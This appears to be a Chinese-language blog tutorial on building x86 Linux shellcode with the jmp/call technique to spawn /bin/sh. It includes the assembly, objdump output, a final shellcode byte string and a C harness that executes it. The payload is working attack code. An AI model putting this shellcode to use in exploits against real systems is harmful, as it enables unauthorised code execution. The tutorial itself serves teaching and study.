这篇文章将要描述一种更为常用的shellcode的写法,主要是在处理”/bin/sh”字符串时,通过一些小技巧让这个字符串处理的更为方便一些。
这个新的方法中,用到了两条命令,一个是jmp,一个call。jmp语句会令代码无条件跳转,call语句也会令代码跳转,但有一点和jmp不一样的是,call在跳转之前,会把返回地址先保存到stack中,这个地址其实就是call之后下一条语句的地址,我们在这里利用这一点,把”/bin/sh”字符串的地址获得并加以利用。这些可以通过下面具体的代码来了解到。
先看这段汇编代码
.section .text .globl _start _start: jmp GotoCall shellcode: popl %esi subl $0x8, %esp movl %esi, (%esp) movl $0x0, 0x4(%esp) movl $0xb, %eax movl %esi, %ebx leal (%esp), %ecx leal 0x4(%esp), %edx int $0x80 subl $0x8, %esp movb $0x1, %al xorl %ebx, %ebx int $0x80 GotoCall: call shellcode .asciz "/bin/sh"
可以看到,通过jmp GotoCall,跳转到了GotoCall这里,在这里,直接执行了call语句,由于call语句后直接跟着就是”/bin/sh”字符串的定义,所以,在执行call时,字符串”/bin/sh”的地址就被保存在了stack中。
然后在看shellcode的代码,看到进入这里的第一天语句是popl %esi,这个执行后就能把刚刚压栈的”/bin/sh”的地址保存在了esi寄存器中,以便后面系统调用execve时使用。
下面说一下这几句
subl $0x8, %esp movl %esi, (%esp) movl $0x0, 0x4(%esp) movl $0xb, %eax movl %esi, %ebx leal (%esp), %ecx leal 0x4(%esp), %edx int $0x80 subl $0x8, %esp
本来是不需要我手动在stack上分配8个字节空间的(subl $0×8, %esp),但是在实际调试中发现,任何试图在之前的stack上的操作都会导致我的代码出现段错误(就是下面的这几行操作),
movb $0x0, 0x7(%esi) movl %esi, 0x8(%esi) movl $0x0, 0xc(%esi)
也就是说在操作系统在这里有一种保护机制,把我刚才的stack给保护起来了,任何试图修改操作到让段错误出来了,所以在没找到是什么保护机制起作用的情况下,我通过自己分配了点空间来完成我的操作。
代码其实很简单,注意的几点就是
剩下的就比较简单了,看看它的二进制代码是什么样子,用objdump可以得到
[lwang@localhost Shellcode]$ as shell_jmp.s -o shell_jmp.o [lwang@localhost Shellcode]$ ld shell_jmp.o -o shell_jmp [lwang@localhost Shellcode]$ objdump -d shell_jmp shell_jmp: file format elf32-i386 Disassembly of section .text: 08048054 <_start>: 8048054: 90 nop 8048055: eb 29 jmp 804808008048057 : 8048057: 90 nop 8048058: 5e pop %esi 8048059: 83 ec 08 sub $0x8,%esp 804805c: 89 34 24 mov %esi,(%esp) 804805f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 8048066: 00 8048067: b8 0b 00 00 00 mov $0xb,%eax 804806c: 89 f3 mov %esi,%ebx 804806e: 8d 0c 24 lea (%esp),%ecx 8048071: 8d 54 24 04 lea 0x4(%esp),%edx 8048075: cd 80 int $0x80 8048077: 83 ec 08 sub $0x8,%esp 804807a: b0 01 mov $0x1,%al 804807c: 31 db xor %ebx,%ebx 804807e: cd 80 int $0x80 08048080 : 8048080: e8 d2 ff ff ff call 8048057 8048085: 2f das 8048086: 62 69 6e bound %ebp,0x6e(%ecx) 8048089: 2f das 804808a: 73 68 jae 80480f4 ... [lwang@localhost Shellcode]$
所以最终的代码就是
char sc[] = "\x90\xeb\x29\x90\x5e\x83\xec\x08\x89\x34\x24\xc7\x44\x24\x04\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3" "\x8d\x0c\x24\x8d\x54\x24\x04\xcd\x80\x83\xec\x08\xb0\x01\x31\xdb\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68"; int main() { void(*fp)(); fp = (void*)sc; fp(); return 0; }
执行一下试试
[lwang@localhost tmp]$ gcc sc.c -o sc [lwang@localhost tmp]$ ./sc sh-3.2$
搞定!!